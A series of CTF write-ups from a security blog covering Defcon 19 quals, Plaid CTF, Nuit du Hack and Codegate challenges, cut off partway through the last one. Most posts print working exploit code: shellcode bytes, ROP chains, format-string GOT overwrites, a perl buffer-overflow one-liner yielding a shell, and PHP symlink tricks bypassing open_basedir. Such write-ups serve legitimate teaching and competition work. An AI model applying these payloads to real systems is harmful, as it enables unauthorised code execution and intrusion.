<p>There are some messy functions. I could guess only they are STL functions and its object is in .bss section. I saw the "vector" and "Rb_tree". So the program must use <span class="code">std::vector</span> and some kind of STL container that use Red-Black tree as internal data structure. Again, I wrote simple C++ code for each container. The binary use <span class="code">std::map</span>. Here is my C++ code <a href="https://sites.google.com/site/worawita/files/defcon19/testmap.cpp?attredirects=0&d=1">testmap.cpp</a></p>
<p>After I knew the program use <span class="code">std::map</span> to store the Record and use a object id as a key, it is not difficult to reverse the left code. Here is my the reversed C++ code <a href="https://sites.google.com/site/worawita/files/defcon19/pp500_code.cpp?attredirects=0&d=1">pp500_code.cpp</a></p>
<h4>Exploitation</h4>
<p>I tried to look at memory, when doing "upload new record". I found there is a some data of Red-black tree after a new record. If I use the overflow bug, I would overwrite the Red-black tree data, not vtable of next record.</p>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-xZLIxitUugI/TfMpYrzpuZI/AAAAAAAAAFw/yDwm3OFCN54/s1600/pp500_mem.png" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="248" width="400" src="http://1.bp.blogspot.com/-xZLIxitUugI/TfMpYrzpuZI/AAAAAAAAAFw/yDwm3OFCN54/s400/pp500_mem.png" /></a></div>
<p>It might be possible to overwrite the Red-black tree data in order to modify the pointer to Record, then make it points to fake vtable area. I think it is difficult to do. IMHO, playing with heap chunk is easier.</p>
<p>To make the Record allocated after another Record without any data in the middle, I upload a new record and delete it to make a hole (free chunk). Then, upload another record to lock the hole. The heap layout after above steps should look like this (omit heap metadata).</p>
<div class="separator" style="clear: both; text-align: center;">
<pre>
---+------------+--------------+-----------
| free chunk | Record 1 |
---+------------+--------------+-----------
</pre>
</div>
<p>The "free chunk" should be big enough for many Red-black tree data but too small for a Record. So a new Record will be allocated next to Record1.</p>
<p>I need <span class="code">RecordEven</span> object to be able to overwrite vtable of next Record. I do looping the <span class="code">"upload new record"</span>, <span class="code">"view record"</span> and <span class="code">"delete record"</span> (if it is not <span class="code">RecordEven</span>) until got <span class="code">RecordEven</span> object. Now, I could modify the vtable pointer :). The left problem is the address of Record that contained fake vtable.</p>
<p>In "edit_record" function, the received data is copied to Record buffer. The received length is ignored. The <span class="code">RecordOdd::setBuffer()</span> use length that defined since <span class="code">"upload new record"</span> to determine how many data to be copied. So if we can make the received buffer in <span class="code">"edit record"</span> contains the address of heap, the program will copy the address to <span class="code">RecordOdd</span> buffer. Then, we can get the address from <span class="code">"view record"</span>. (Not use <span class="code">RecordEven::setBuffer()</span> because it causes a heap corruption.)</p>
<p>In "upload_new_record" function, there is a pointer to new Record. It is in buffer space of <span class="code">"edit_record"</span> function, so we can copied a new uploaded Record to <span class="code">RecordOdd</span> data.</p>
<p>When overwriting the vtable, we also need to put correct heap metadata (only chunk size) to prevent heap corruption. The last, I use <span class="code">"edit_record"</span> function to trigger the exploit because it receives data from client to buffer before calling the function from fake data, so I put ROP data in stack.</p>
<p>The left part is doing ROP. Here is my exploit to get shell <a href="https://sites.google.com/site/worawita/files/defcon19/pp500.py?attredirects=0&d=1">pp500.py</a> (Note: you need to copy "/bin/sh" and needed libraries in pwn400 home directory because the program does chroot.)</p>
<p>I also write the exploit to just read the "key" file. It does not need to know the function offset in libc. <a href="https://sites.google.com/site/worawita/files/defcon19/pp500_readkey.py?attredirects=0&d=1">pp500_readkey.py</a></p>
<pre class="code lang-bsh">
$ python pp500_readkey.py
creating a hole ...
!!! Got odd record, it might be failed !!!
creating a record to lock the hole ...
creating third record...
getting the Record address...
08fb50e4,08fb5024,00000001,d06a93c2,08fb52d8,43434344
Record address: 08fb5100
overwriting vtable...
trigger the exploit
sending key
waiting for key
dummy key for testing áP8PÇO♥ XáN N√
</pre>Worawit (sleepya)http://www.blogger.com/profile/16667985019731254845noreply@blogger.com0tag:blogger.com,1999:blog-7750805153536412131.post-64537372063200225382011-06-08T20:51:00.002+07:002011-06-08T20:51:42.095+07:00Defcon 19 Quals - Pwntent Pwnables 400 Writeup<p>As usual, I checked the file first.</p>
<pre class="code lang-bsh">
$ file pp400_804703cc7f7d5d3f54ba
pp400_804703cc7f7d5d3f54ba: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
$ objdump -s -j .comment pp400_804703cc7f7d5d3f54ba
pp400_804703cc7f7d5d3f54ba: file format elf32-i386
Contents of section .comment:
0000 4743433a 2028474e 55292034 2e362e30 GCC: (GNU) 4.6.0
0010 20323031 31303530 39202852 65642048 20110509 (Red H
0020 61742034 2e362e30 2d372900 4743433a at 4.6.0-7).GCC:
0030 2028474e 55292034 2e362e30 20323031 (GNU) 4.6.0 201
0040 31303230 35202852 65642048 61742034 10205 (Red Hat 4
0050 2e362e30 2d302e36 2900 .6.0-0.6).
</pre>
<p>The binary in this challenge is statically linked and stripped. It means all libc functions are included in the binary and symbol names are stripped. From the comment section, the binary is supposed to be compiled on Fedora 15. I tried to create IDA sig file from "libc.a" but no function name is resolved. So I have to reverse code manually.</p>
<p>My trick for reversing code on this challenge is starting from <span class="code">"/dev/urandom"</span>. The function that passed <span class="code">"/dev/urandom"</span> as first argument should be <span class="code">"open"</span>. If we follow the assembly code in <span class="open">"open"</span> function, we will see setting SYS_OPEN to eax then jump to "__unified_syscall" (See <a href="Plaid CTF 2011#19 - Another Small Bug">my pCTF - Another Samll Bug writeup</a>). So we can recover many libc function names that setting eax to syscall number.</p>
<p>The left libc functions are not difficult to guess if we know function arguments and what syscall to be called inside the function. The code I get is same as <a href="http://leetmore.ctf.su/wp/defcon-ctf-quals-2011-pwnables-400/">LeetMore's writeup</a> but they use better variable name than me (so read their code).</p>
<p>From the code, program copies client data to saved eip address but there is a limit. Before thinking how to make payload small, I checked the enabled security feature in the binary.</p>
<pre class="code lang-bsh">
$ checksec.sh --file pp400_804703cc7f7d5d3f54ba
RELRO STACK CANARY NX PIE FILE
No RELRO No canary found NX disabled No PIE pp400_804703cc7f7d5d3f54ba
</pre>
<p>NX is disabled. So I do not need to do full ROP, just put the code to read the shellcode to some static rwx area (with <span class="code">"fread"</span>) then jump to it. Also we can see from the code that stdin and stderr are the connected socket, so we just need the <span class="code">execve("/bin/sh")</span> shellcode.</p>
<pre class="code lang-python">
fread_addr = 0x08048c60
stdin_addr = 0x0804a31c
wx_addr = 0x0804a480
payload = pack("<I", fread_addr) # jump to fread
payload += pack("<I", wx_addr) # jump to shellcode
payload += pack("<IIII", wx_addr, 1, len(sc), stdin_addr) # fread arguments
</pre>
<p>It requires only 24 bytes. But when I got the shell, I could use only builtin commands, no <span class="code">"id, cat, ls, ..."</span> (I hope I did not make a mistake again). So I wrote the shellcode to read key file. Here is the full python code <a href="https://sites.google.com/site/worawita/files/defcon19/pp400.py?attredirects=0&d=1">pp400.py</a>.</p>Worawit (sleepya)http://www.blogger.com/profile/16667985019731254845noreply@blogger.com2tag:blogger.com,1999:blog-7750805153536412131.post-86938407632415181822011-06-06T23:20:00.000+07:002011-06-06T23:20:58.899+07:00Defcon 19 Quals - Pwntent Pwnables 200 Writeup<p>First, I checked the binary with various commands</p>
<pre class="code language-bsh">
$ file pp200_64625bc51c5b8dc75b
pp200_64625bc51c5b8dc75b: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), stripped
$ strings pp200_64625bc51c5b8dc75b
...
SUNW_0.7
libc.so.1
SUNW_0.9
SUNWprivate_1.1
...
$ objdump -s -j .comment pp200_64625bc51c5b8dc75b
pp200_64625bc51c5b8dc75b: file format elf32-i386
Contents of section .comment:
0000 00402823 2953756e 4f532035 2e313020 .@(#)SunOS 5.10
0010 47656e65 72696320 4a616e75 61727920 Generic January
0020 32303035 00004028 23295375 6e4f5320 2005..@(#)SunOS
0030 352e3130 2047656e 65726963 204a616e 5.10 Generic Jan
0040 75617279 20323030 35000040 28232953 uary 2005..@(#)S
0050 756e4f53 20352e31 30204765 6e657269 unOS 5.10 Generi
0060 63204a61 6e756172 79203230 30350000 c January 2005..
0070 4743433a 2028474e 55292033 2e342e33 GCC: (GNU) 3.4.3
0080 20286373 6c2d736f 6c323130 2d335f34 (csl-sol210-3_4
0090 2d627261 6e63682b 736f6c5f 72706174 -branch+sol_rpat
00a0 68290000 4743433a 2028474e 55292033 h)..GCC: (GNU) 3
...
</pre>
<p>From output, we know this binary is for Solaris x86. The "file" command tell the binary is stripped but it is not. When I open it in IDA, all function name is resolved. So it is easy to read/guess the code.</p>
<p>The challenge is so straightforward. The program receives input from client then jump to the received buffer+1. Just send the shellcode.</p>
<p>I had no knowledge about writing shellcode for Solaris. So I tried with metasploit <span class="code">"solaris/x86/shell_reverse_tcp"</span>. The size is 91 bytes but the BUFSIZE is 0x49=73 bytes. The metasploit payload is too big for this challenge.</p>
<p>I planned to sending small shellcode to receiving big shellcode. My trick is reusing the code. Pushing the size to be received then jump to address <span class="code">0x080516b4</span> in order to make program call <span class="code">recvAll</span> with my size then jump to received buffer+1 again. So the first shellcode is</p>
<pre class="code language-python">
sc = "\x6a\x5c" # push 92
sc += "\xb8\xb4\x16\x05\x08" # mov eax,0x080516b4 <before recvAll>
sc += "\xff\xe0" # jmp eax
</pre>
<p>The full python code is <a href="https://sites.google.com/site/worawita/files/defcon19/pp200_readAll.py?attredirects=0&d=1">pp200_readAll.py</a></p>
<p>The above method, I failed to do it in CTF because I put the wrong BUFSIZE in python code. Then, I learnt writing shellcode for Solaris x86 and tried connection reuse. I failed again because of my stupid mistake :[. I ended up with writing shellcode to read key file. Here is the python code for reading key file <a href="https://sites.google.com/site/worawita/files/defcon19/pp200.py?attredirects=0&d=1">pp200.py</a>.</p>
<p>After loading OpenSolaris VMWare image as someguy (sorry I cannot remember the name) in irc gave me the <a href="http://www.vmware.com/appliances/directory/450333">link</a>, I know why I failed to get the shell. Thanks for the link.</p>
<p>The key, I cannot remember. :P</p>Worawit (sleepya)http://www.blogger.com/profile/16667985019731254845noreply@blogger.com0tag:blogger.com,1999:blog-7750805153536412131.post-8031171175550185872011-04-28T22:52:00.001+07:002011-04-29T10:42:47.784+07:00Plaid CTF 2011#19 - Another Small Bug<p>This challenge is local stack based buffer overflow. The binary is static. It means that the libc shared object is not loaded, all needed libc functions are included in the binary. So we cannot use a trick that create a weird executable file name and jump to exec*() function in libc.</p>
<p>Because the NX bit in binary is disabled, the method I used in competition is brute forcing same as <a href="http://leetmore.ctf.su/wp/plaidctf-2011-19-another-small-bug-250/">Leet More's writeup</a>. But while talking in IRC, it seems the organizer did a mistake. The NX bit should be enabled. The <a href="http://blog.stalkr.net/2011/04/pctf-2011-19-another-small-bug.html">StalkR's Blog</a> has already posted the nice writeup if NX is enabled. I also tried it assuming NX is enabled (and effective :P) just for fun. Here is my solution.</p>
<p>Let see the code first. The main() function of this challenge is small. So I posted here.</p>
<pre class="code language-c">
int main(int argc, char **argv)
{
char buffer[512];
unsigned long len;
if (argc != 2) {
printf("...");
exit(1);
}
len = strtoul(argv[1]);
if (len <= 511) {
if (log_error("..."))
myexit();
}
fgets(buffer, len, stdin);
puts(buffer);
return 0;
}
</pre>
<p>At first time I looked, it seems not able to be exploited. When I checked inside log_error() function, it always fails because the log file does not exist. So we can put any length we want.</p>
<p>Because the binary is statically linked, so let check what libc functions are included in binary.</p>
<pre class="code language-bsh">
$ objdump -t exploitme | grep .text
...
08048890 g F .text 00000011 printf
08049fa8 g F .text 00000043 memmove
...
08049abc g F .text 0000000e mmap
...
0804823f g F .text 00000034 __unified_syscall
...
08048230 g F .text 00000007 mprotect
</pre>
<p>There are many interesting functions. But "__unified_syscall" is the most interesting for me. It looks like syscall() function in libc. Let look at it closer.</p>
<pre class="code language-bsh">
$ gdb ./exploitme
...
(gdb) b main
Breakpoint 1 at 0x804818a
(gdb) r
Starting program: /opt/pctf/z2/exploitme
Breakpoint 1, 0x0804818a in main ()
(gdb) x/10i __unified_syscall
0x804823f <__unified_syscall>: movzbl %al,%eax
0x8048242 <__unified_syscall+3>: push %edi
0x8048243 <__unified_syscall+4>: push %esi
0x8048244 <__unified_syscall+5>: push %ebx
0x8048245 <__unified_syscall+6>: mov %esp,%edi
0x8048247 <__unified_syscall+8>: mov 0x10(%edi),%ebx
0x804824a <__unified_syscall+11>: mov 0x14(%edi),%ecx
0x804824d <__unified_syscall+14>: mov 0x18(%edi),%edx
0x8048250 <__unified_syscall+17>: mov 0x1c(%edi),%esi
0x8048253 <__unified_syscall+20>: mov 0x20(%edi),%edi
</pre>
<p>The function moves arguments to ebx, ecx, edx, esi, edi respectively. Look like it is preparing for syscall. Check some existed libc function that matches the syscall.</p>
<pre class="code language-bsh">
(gdb) x/2i open
0x80489d0 <__libc_open>: mov $0x5,%al
0x80489d2 <__libc_open+2>: jmp 0x804823f <__unified_syscall>
</pre>
<p>Yes, it is. The "__unified_syscall" is a syscall() function but we have to put syscall number in eax before calling it.</p>
<p>I want to call execve syscall (number 11) so all I have to prepare the arguments and set eax to 11. Preparing the arguments is easy because we can control the content in stack. How we set eax to 11?. Normally it is difficult to find "pop eax" gadget. To overcome this problem, I use printf() function. Because eax keeps the return value of function. And the return section in printf man page:</p>
<blockquote><i>
Upon successful return, these functions return the number of characters printed (not including the trailing '\0' used to end output to strings).
</i></blockquote>
<p>Just need to find a string that length is 11. Very easy.</p>
<pre class="code language-bsh">
(gdb) x/10s 0x0804a378
0x804a378: "a"
0x804a37a: "/home/z2/logs/assert.log"
0x804a393: "ERROR: %s\n"
0x804a39e: "%s requires one arguments.\n"
0x804a3ba: ""
0x804a3bb: ""
0x804a3bc: "[assertion] len < sizeof(buffer)"
0x804a3dd: "/dev/urandom"
0x804a3ea: "\n"
0x804a3ec: "(null)"
</pre>
<p>I use address 0x804a3de ("dev/urandom") for printf() and 0x804a378 ("a") for execve(). The address contains NULL is 0x804a444. Time to exploit it :).</p>
<pre class="code langauge-bsh">
z2_82@a5:~$ ln -s /bin/sh a
z2_82@a5:~$ (perl -e 'print "A"x516,"\x2f\x82\x04\x08"x16,"\x90\x88\x04\x08","\x3f\x82\x04\x08","\xde\xa3\x04\x08","\x78\xa3\x04\x08","\x44\xa4\x04\x08"x2';echo;cat) | /opt/pctf/z2/exploitme 700
AAAAAAAAAAAAAA...
id
uid=2081(z2_82) gid=1001(z2users) egid=1003(z2key) groups=1001(z2users)
</pre>
<p>Another fun ;)</p>Worawit (sleepya)http://www.blogger.com/profile/16667985019731254845noreply@blogger.com2tag:blogger.com,1999:blog-7750805153536412131.post-76529699213509214912011-04-25T21:10:00.000+07:002011-04-25T21:10:46.409+07:00Plaid CTF 2011 Hashcalc2 Writeup<p>This challenge is similar to hashcalc1. I used the same method as hashcalc1 to solve it. So read <a href="http://auntitled.blogspot.com/2011/04/plaid-ctf-2011-hashcalc1-writeup.html">my hashcalc1 writeup</a> first.</p>
<p>The binary uses inetd for running as network service. So the socket fds are 0,1,2. We do not need dup2() like hashcalc1. Also, the calculating hash function is changed. No calling any libc function.</p>
<p>The next libc function call is <span class="code">vsprintf()</span>. But we cannot use it because the GOT entry address is <span class="code">0x08049108</span>. The address plus 2 is <span class="code">0x0804910a</span>. 0x0a is bad char.</p>
<p>The next function is <span class="code">strlen()</span> again :). But the program calls <span class="code">vsprintf()</span> with buffer size only is 0x100. To be safe, we should not overflow it. My workaround of this problem is put 0x00 after format string payload. Like this.</p>
<pre class="code language-python">
payload = payload_fmt + "\x00" + "A"*(0x2e0-len(payload_fmt)-1)
</pre>
<p>Another weird problem I found is server receive only partial modified GOT table. So I modified it to do <span class="code">recv()</span> 2 times with small data as needed.</p>
<p>The others are same as hashcalc1. Here is my exploit: <a href="https://sites.google.com/site/worawita/files/ctf/hashcalc2.py?attredirects=0&d=1">hashcalc2.py</a></p>
<pre class="code language-bsh">
$ python hashcalc2.py
** Welcome to the online hash calculator **
$
payload len: 840
got GOT table: 104
uid=1008(hashcalc2) gid=1009(hashcalc2) groups=1009(hashcalc2)
funkyG_1S_th3_b3$t
</pre>
<p><b>Key</b>: funkyG_1S_th3_b3$t</p>Worawit (sleepya)http://www.blogger.com/profile/16667985019731254845noreply@blogger.com0tag:blogger.com,1999:blog-7750805153536412131.post-42918286654586957852011-04-25T20:45:00.002+07:002011-04-26T11:56:30.892+07:00Plaid CTF 2011 Hashcalc1 Writeup<p>This challenge is remote pwnable. I spent a lot of time to solve it. But I learned something new (worth to waste time on it). Here is some binary info.</p>
<pre class="code language-bsh">
$ checksec.sh --file hashcalc1
RELRO STACK CANARY NX PIE FILE
No RELRO Canary found NX enabled No PIE hashcalc1
</pre>
<p>Reversing the binary... it is classic <span class="code">accept()</span> and <span class="code">fork()</span> server. After the connection established, the server <span class="code">send()</span> welcome message, do <span class="code">recv()</span> the data, log to file, calculate hash, then send the hash back to client. The log to file step has a format string problem. The C code should look like this.</p>
<pre class="code language-c">
recv(sock_fd, buffer, 0x3ff, 0);
// ...
fprintf(log_fp, buffer);
</pre>
<p>Note: after receiving data from client, the server converts all '\n' (0x0a) to NULL (0x00). So 0x0a is bad char. But 0x00 is good char.</p>
<p>The format string bug is obviously allow us to write any value in arbitrary address. The common place is GOT entry. I found <span class="code">strlen()</span> function is used after <span class="code">fprintf()</span> function (in calculating hash function). So strlen GOT entry is my target.</p>
<pre class="code language-bsh">
$ objdump -R hashcalc1 | grep strlen
0804a41c R_386_JUMP_SLOT strlen
</pre>
<p>The address to be overwritten is 0x0804a41c. But the problem is what value I have to write. I tried to do connect back with ROP (but not brute forcing). No luck, I cannot find the gadgets to do what I want :(.</p>
<p>After a few hour past, I noticed the socket fd is known. In <span class="code">accept()</span> loop, the server process always call <span class="code">close()</span> before do <span class="code">accept()</span> again. So it always be 5 because 3 is server fd and 4 is log fd.</p>
<p>With known socket fd, we can do ROP to make server send and receive additional data to arbitrary address. We can jump (<b>not call</b>) to <span class="code">recv()</span> or <span class="code">send()</span> by using plt functions. So the fixed addresses of <span class="code">recv()</span> and <span class="code">send()</span> are</p>
<pre class="code langauge-bsh">
$ objdump -d hashcalc1 | grep '@plt>:' | grep -e recv -e send
08048844 <recv@plt>:
08048994 <send@plt>:
</pre>
<p>Normally, to calling the libc functions without brute forcing when ASLR is enabled, we need to use the resolved function in GOT entry then add it with the offset. With <span class="code">send()</span>, we can make program send the whole GOT section to us. Then we can modified any GOT entries and send the modified table back with <span class="code">recv()</span>.</p>
<p>First, I planned to modified GOT entries to have <span class="code">mprotect()</span> and other functions to be able to put the shell code. But I remembered that reverse shell is just connect back with new socket, then <span class="code">dup2()</span> and <span class="code">execve("/bin/sh")</span>. We do not need to use shell code. Just call <span class="code">dup2()</span> and <span class="code">execve("/bin/sh")</span>. And of course we can use some area of GOT section to put "/bin/sh" string.</p>
<p>Now, coding time. First the format string bug, I need to move the esp to the controlled stack area. I found this gadget</p>
<pre class="code language-bsh">
0x8049106L: add esp 0x54 ; pop ebx ; pop esi ; pop ebp ;;
</pre>
<p>Format string to overwrite the strlen GOT entry is</p>
<pre class="code language-python">
got_strlen_addr = 0x0804a41c
payload_fmt = pack("<I", got_strlen_addr) + pack("<I", got_strlen_addr+2) + "%"+str(0x804-8)+"x%6$hn" + "%"+str(0x9106-0x804)+"x%5$hn"
</pre>
<p>Then, do <span class="code">send()</span> and <span class="code">recv()</span></p>
<pre class="code language-python">
# 0x8048c1aL: add esp 0xc ; pop ebx ; pop ebp ;;
# send GOT table to me
payload += pack("<I", plt_send_addr) + pack("<I", 0x8048c1a) + pack("<I", sock_fd) + pack("<I", got_plt_section) + pack("<I", got_plt_section_size) + pack("<I", 0) + "JUNK"
# recv GOT table from me
payload += pack("<I", plt_recv_addr) + pack("<I", 0x8048c1a) + pack("<I", sock_fd) + pack("<I", got_plt_section) + pack("<I", got_plt_section_size) + pack("<I", 0) + "JUNK"
</pre>
<p>Then, do <span class="code">dup2()</span> and <span class="code">execve()</span> with similar method. I do not show here.</p>
<p>Another important part is finding function offset in libc. I used Ubuntu but when looking in the binary with objdump</p>
<pre class="code language-bsh">
$ objdump -s -j .comment hashcalc1
hashcalc1: file format elf32-i386
Contents of section .comment:
0000 4743433a 20284465 6269616e 20342e34 GCC: (Debian 4.4
0010 2e352d38 2920342e 342e3500 4743433a .5-8) 4.4.5.GCC:
0020 20284465 6269616e 20342e34 2e352d31 (Debian 4.4.5-1
0030 30292034 2e342e35 00 0) 4.4.5.
</pre>
<p>The binary is compiled on Debian 6. So I tried to overwrite the functions that near <span class="code">dup2()</span> and <span class="code">execve()</span> and hope the offset are same. Even the offset is different, I still can do little brute forcing to get the offset (can send some data back if offset is correct). But it's no need for this challenge because the server that ran this binary is same as we could login to do local pwnable challenges.</p>
<pre class="code language-bsh">
$ objdump -T libc.so.6 | grep -w -e setreuid -e dup2
000c4b50 w DF .text 00000076 GLIBC_2.0 setreuid
000bd760 w DF .text 0000003d GLIBC_2.0 dup2
$ objdump -T libc.so.6 | grep -w -e fork -e execve
00097550 w DF .text 000002b0 GLIBC_2.0 fork
00097870 w DF .text 00000053 GLIBC_2.0 execve
</pre>
<p>Here is my exploit <a href="https://sites.google.com/site/worawita/files/ctf/hashcalc1.py?attredirects=0&d=1">hashcalc1.py</a></p>
<pre class="code language-bsh">
$ python hashcalc1.py
** Welcome to the online hash calculator **
$
payload len: 164
got GOT table: 156
uid=1009(hashcalc1) gid=1010(hashcalc1) groups=1010(hashcalc1),0(root)
th3_0tH3r_DJB
</pre>
<p><b>Key</b>: th3_0tH3r_DJB</p>Worawit (sleepya)http://www.blogger.com/profile/16667985019731254845noreply@blogger.com0tag:blogger.com,1999:blog-7750805153536412131.post-63913658955189527402011-04-17T14:48:00.003+07:002011-04-18T13:32:42.544+07:00PHP symlink() and open_basedir<p>I was asked by someone about the exploit from <a href="http://securityreason.com/achievement_exploitalert/14">http://securityreason.com/achievement_exploitalert/14</a>. Why they could not delete the created symbolic links?</p>
<p>The exploit explanation is in <a href="http://securityreason.com/achievement_securityalert/70">http://securityreason.com/achievement_securityalert/70</a> (if you have a problem to access it, here is the backup <a href="http://seclists.org/fulldisclosure/2009/Nov/165">http://seclists.org/fulldisclosure/2009/Nov/165</a>).</p>
<p>This exploit just creates a symbolic link to a file outside the open_basedir with a neat trick, then using web server to access it (not invoking PHP interpreter). In my opinion, this is not PHP vulnerability. This is a feature (you still can do it with latest PHP). If we try to access the symbolic link with PHP functions (such as <span class="code">readfile()</span>, <span class="code">file_get_contents()</span>), we will get the error message related to open_basedir. Also we cannot delete/modify the symbolic links with <span class="code">unlink()</span> PHP functions because of open_basedir restriction (answer the above question).</p>
<p>I think the easier way to abuse this feature is creating the symbolic link to root directory. No exploit from me. It's so easy to write :).</p>
<p>The workaround for this problem is adding <span class="code">symlink()</span> using "disable_functions" feature to disable function or disabling following symbolic link in web server (FollowSymLinks in apache).</p>
<p><b>Update:</b> I overlooked the method to delete the symbolic link. We just need to do the reverse by removing directory and recreating the tmplink. Here is the PHP code to delete the symbolic link that is created with <span class="code">kakao.php</span> from the advisory.</p>
<pre class="code language-php">
<?php
rmdir("tmplink");
symlink("abc/abc/abc/abc","tmplink");
unlink("exploit");
unlink("tmplink");
</pre>
<p><b>Update:</b>If you install Suhosin patch, you are safe from this problem by default. See <a href="http://www.hardened-php.net/suhosin/configuration.html#suhosin.executor.allow_symlink">http://www.hardened-php.net/suhosin/configuration.html#suhosin.executor.allow_symlink</a> for more information.</p>Worawit (sleepya)http://www.blogger.com/profile/16667985019731254845noreply@blogger.com1tag:blogger.com,1999:blog-7750805153536412131.post-69793414640855083822011-04-04T22:11:00.001+07:002011-04-05T21:17:31.097+07:00Nuit du Hack CTF 2011 Crypto 300 Writeup<p>Challenge : <a href="http://repo.shell-storm.org/CTF/NDH2K11-prequals/CRYPTO/CRYPTO300/crypto300.zip">http://repo.shell-storm.org/CTF/NDH2K11-prequals/CRYPTO/CRYPTO300/crypto300.zip</a></p>
<p>The challenge gives me the python code. The code is some kind of key exchange algorithm (I do not know). There are 3 important methods in <b>Braid</b> class.</p>
<pre class="code language-python">
class Braid:
# ...
def reverse(self):
rev = [self.items.index(i) for i in range(self.size)]
return Braid(rev)
def combine(self, _braid):
if len(_braid) != self.size:
raise "Invalid size"
return Braid([_braid[self.items[i]] for i in range(self.size)])
def shuffle(self,offset=0,size=0):
for j in range(randint(1024,4096)):
if size==0: # client
for i in range(offset,self.size): # range(11, 22)
idx1 = randint(offset,self.size-1) # randint(11, 21)
self.swap(i,idx1)
else: # server
for i in range(offset,size): # range(0, 11)
idx1 = randint(0,size-1) # randint(0, 10)
self.swap(i,idx1)
</pre>
<p>The public key and private key are generated from <b>BraidKey</b> class</p>
<pre class="code language-python">
class BraidKey:
def __init__(self, K, client):
self.K = K
N = len(K)
self.privkey = Braid(N)
if client:
self.privkey.shuffle(offset=N/2)
else:
self.privkey.shuffle(size=N/2)
self.privrkey = self.privkey.reverse()
self.pubkey = self.privkey.combine(self.K.combine(self.privrkey))
</pre>
<p>From code, the client privkey is initialized with <span class="code">[0..21]</span>, then shuffled only last 11 elements and first 11 elements are fixed. So the client privkey always be <span class="code">[0..10, random shuffled]</span>. The client privrkey is derived from privkey with so strange reverse function. With the client privkey generation, the client privkey always be <span class="code">[0..10, derived from privkey]</span>.</p>
<p>When looking in "server.py", I found</p>
<pre class="code language-python">
raw_K = '0D1214040108060F050C0E0207030A151009000B1311'
self.s = ServerSocket(peer,allowed_pubkeys=['0F0C11040108060B05150E1000090A030D1312140207'])
</pre>
<p>So the server accepts only public key <span class="code">'0F0C11040108060B05150E1000090A030D1312140207'</span>. From pubkey generation algorithm (the last line in <b>BraidKey::__init__</b>), We know pubkey, half of privkey, K, and half of privrkey. Also the combine() function is reversible. So I think it's possible to find the privkey from pubkey.</p>
<p>It's difficult to explain. Just see the code <a href="https://sites.google.com/site/worawita/files/ctf/findpriv.py?attredirects=0&d=1">findpriv.py</a> (I know you guys will understand :P).</p>
<pre class="code language-python">
K = str2ary(hex2str("0D1214040108060F050C0E0207030A151009000B1311"))
pubkey = str2ary(hex2str("0F0C11040108060B05150E1000090A030D1312140207"))
priv = [ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 ]
privr = [ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 ]
inter = [ -1 ]*22 # inter is self.K.combine(self.privrkey)
for i in range(11):
inter[i] = pubkey[i]
# pubkey = priv.combine(K.combine(privr))
# for i in [0,11) => priv[i] = i; pubkey[i] = inter[priv[i]] = inter[i] = privr[K[i]]
for i in range(11):
privr[K[i]] = pubkey[i]
# inter = K.combine(privr); inter[i] = privr[K[i]]
for i in range(11, 22):
inter[i] = privr[K[i]]
# pubkey = priv.combine(K); pubkey[i] = K[priv[i]]
for i in range(11, 22):
if pubkey[i] in inter:
priv[i] = inter.index(pubkey[i])
# privr = priv.reverse()
for i in range(11, 22):
if i in priv:
privr[i] = priv.index(i)
for i in range(11, 22):
if privr[1] != -1:
priv[privr[i]] = i
# inter = K.combine(privr); inter[i] = privr[K[i]]
for i in range(11, 22):
inter[i] = privr[K[i]]
# pubkey = priv.combine(K); pubkey[i] = K[priv[i]]
for i in range(11, 22):
if pubkey[i] in inter:
priv[i] = inter.index(pubkey[i])
if priv.count(-1) == 1:
pos = priv.index(-1)
for i in range(22):
if i not in priv:
priv[pos] = i
break
print priv
</pre>
<pre class="code language-bsh">
$ python findpriv.py
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 15, 18, 17, 14, 13, 21, 20, 16, 19, 11, 12]
</pre>
<p>Then I changed the <span class="code">self.privkey.shuffle(offset=N/2)</span> line in <b>BraidKey</b> class to <span class="code">self.privkey = [above privkey]</span>.</p>
<pre class="code language-bsh">
$ python client.py
[Crypto300 sample client]
[i] Welcome on Goofyleaks. Can I haz ur public kay ?
[+] Your leaked flag: Br4iDCrypto_i5_b3au7ifu11
</pre>
<p>Answer: Br4iDCrypto_i5_b3au7ifu11</p>Worawit (sleepya)http://www.blogger.com/profile/16667985019731254845noreply@blogger.com2tag:blogger.com,1999:blog-7750805153536412131.post-20427860879094131052011-03-07T18:37:00.001+07:002011-03-09T08:45:30.216+07:00Codegate CTF 2011 Vuln300 Writeup<p>This challenge, we were given the ssh account to Ubuntu 10.10. We have to exploit the binary inside /home/vuln1 to get the vuln1 privilege and grab the flag. ASLR and NX are enabled. The binary was compiled without stack cookie, PIE.</p>
<p>After reading the assembly in IDA, I wrote the code in C (<a href="https://sites.google.com/site/worawita/files/ctf/vuln300.c?attredirects=0&d=1">vuln300.c</a>). Below is the important parts.</p>
<pre class="code language-c">
char gbuffer[512]; // 0x0804a0a0
int authenticated;
int authen(char *username, char *password)
{
snprintf(gbuffer, 513, "%s:%s", username, password);
if (!authenticated)
authenticated = (strncmp(gbuffer, "s0m3b0dy:15n0b0dy", 17) == 0);
return authenticated;
}
void add_user(newusername, newpassword, filename)
{
char buffer[512];
char user_len, pass_len;
user_len = (char) strlen(newusername);
strncpy(buffer, newusername, 511);
pass_len = (char) strlen(newpassword);
strncat(buffer, newpassword , 512);
fprintf(stdout, "New user %s added to %s!\n", newusername, filename);
}
</pre>
<p><h4>Problem in authen() function</h4>
The authen() function use strncmp() for compare the string. So we can authenticate with username that starts with "s0m3b0dy:15n0b0dy". Additional, gbuffer address is static (0x0804a0a0) because binary is not PIE. We can use gbuffer to put the payload here to create a reliable exploit.</p>
<p><h4>Problem in add_user() function</h4>
It is obvious that there is buffer overflow problem in this function. We can overwrite saved ebp and saved eip. But we should not write past the saved eip because fprintf might be crashed if the newusername address is invalid.</p>
<br/>
<p>With above 2 problems (plus GOT is writable), I came up with these steps.
<ol>
<li>Overwrite saved ebp for moving the esp to gbuffer area with "leave; ret"</li>
